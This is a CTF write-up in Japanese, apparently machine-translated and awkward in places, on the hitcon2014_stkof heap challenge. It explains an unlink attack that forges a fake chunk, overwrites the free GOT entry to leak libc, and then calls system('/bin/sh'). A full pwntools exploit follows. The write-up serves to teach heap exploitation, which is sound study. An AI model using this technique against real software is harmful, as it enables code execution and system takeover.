最近、ヒープについて学び始めました。リンク解除に関するこのトピックを理解するために、wikiやいくつかの大物向けの記事を読みました:hitcon2014_stkof
最初にidaをドラッグして、いくつかの主要な機能を確認します。
関数1、ヒープを作成します。ヒープのアドレスがsに格納されていることがわかります。クリックして確認してください。
bssセグメントであることがわかりました。このようなポインターは、このタイプの
トピックの機能です。機能2、ヒープコンテンツの編集、長さは自分で設定できます。ヒープオーバーフローの脆弱性があります。
機能3、フリーヒープ
機能4はあまり役に立たない
まず、3つの関数を記述します。
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')
def edit(idx, size, content):
sh.sendline('2')
sh.sendline(str(idx))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK\n')
def delete(idx):
sh.sendline('3')
sh.sendline(str(idx))
次に、3つのヒープを作成します
alloc(0x100)
alloc(0x20)
alloc(0x80)
0x80より小さい3番目のヒープのサイズはfastbinに分類されることに注意してください
このステップの後で、bssセグメントとヒープのレイアウトを見てみましょう。
Bssセグメント:
2番目のチャンクと3番目のチャンク:
chunk1、chunk2、chunk3のアドレスがそれぞれ0x602148、0x602150、0x602158に格納されていることを確認するのは難しくありません
chunk2で偽のチャンクを偽造してから、chunk3を解放したいので、chunk2アドレスが格納されている場所、つまり0x602150をptrとして設定し、偽のチャンクを作成してオーバーフローデータを書き込みます。
ptr=0x602150
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)
この手順の後、chunk2とchunk3の状況は次のようになります。
chunk3のヘッダーの0x20と0x90に注意して、chunk3のF位置を0に設定します。これは、前のチャンクがアイドル状態であることを示し、prev_sizeは前の偽のチャンクのサイズです。
その後、chunk3を解放します
delete(3)
これは最も重要なステップであり、多くのことが起こりました
チャンク3を解放すると、システムは前のチャンクがアイドル状態かどうかを判断します。ヒープオーバーフローによってチャンク3のFビットとprev_sizeを調整したため、システムは前のチャンクがアイドル状態であると見なし、チャンク3とprev_sizeの位置に基づいてそれを特定します。前のチャンク、つまり私たちの偽のチャンクに移動します。次に、これらの2つのチャンクをマージします。現時点では、もう一度判断する必要があります。ここでの判断条件は次のとおりです。
FD-> bk =偽のチャンク&& BK-> fd =偽のチャンク
これらの中でも、
FD =偽chunk-> FD
BK =偽chunk-> BK
すなわち
FD = 0x602138
BK = 0x602140、
そう
FD-> BK = FD + 0x18の
BK-> FD = BK + 0x10の
両方の結果を0x602150に格納されています0xe05940のアドレスは偽のチャンクのアドレスなので、検出をバイパスしました
次、
FD-> bk = BK
BK-> fd = FD
つまり、最初に0x602150に格納されているデータを0x602140に変更し、次に0x602138に変更します。これにより、bssセグメントは次のようになり
ます。0x602150はchunk2のアドレスを格納しているはずですが、これで変更されたので、これを使用できますこの時点で、データをchunk2に書き込み、続けて再書き込みします
elf=ELF('./stkof')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
chunk2ポインターは私たちによって変更されているため、この手順の後、chunk2のデータではなく、bssセグメントのデータが実際に変更されます。bssセグメントは次のとおりです。
このように、chunk1とchunk3のポインタもそれぞれ、free関数とputs関数の取得アドレスに変更され、chunk1にデータを書き込むときに、実際に取得した空き関数のアドレスを変更します。
edit(1,8,p64(puts_plt))
delete(3)
このステップの後、フリー関数の取得アドレスがputs関数のpltアドレスに変更され、実際に空きchunk3がputs関数を実行して、取得したputsのアドレスを出力します。
libc=ELF('./libc.so.6')
base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']
出力後、ベースアドレスとシステム関数アドレスを計算します
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
最後の手順は上記と同じです。取得したフリー関数のアドレスをシステム関数のアドレスに変更し、「/ bin / sh」をbssセグメントに書き込んでから、システム関数を実行してシェルを取得します。
完全な経験:
from pwn import *
sh=remote("node3.buuoj.cn",27974)
#sh=process("./stkof")
context.log_level='debug'
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
ptr=0x602150
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')
def edit(idx, size, content):
sh.sendline('2')
sh.sendline(str(idx))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK\n')
def delete(idx):
sh.sendline('3')
sh.sendline(str(idx))
alloc(0x100)
alloc(0x20)
alloc(0x80)
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)
delete(3)
sh.recvuntil('OK')
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
edit(1,8,p64(puts_plt))
delete(3)
base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
sh.interactive()
私のコードリファレンスはこの記事です:https : //thinkycx.me/2018-11-30-HITCON2014-stkof.html
Wikiでの実装は少し異なりますが、理解も容易です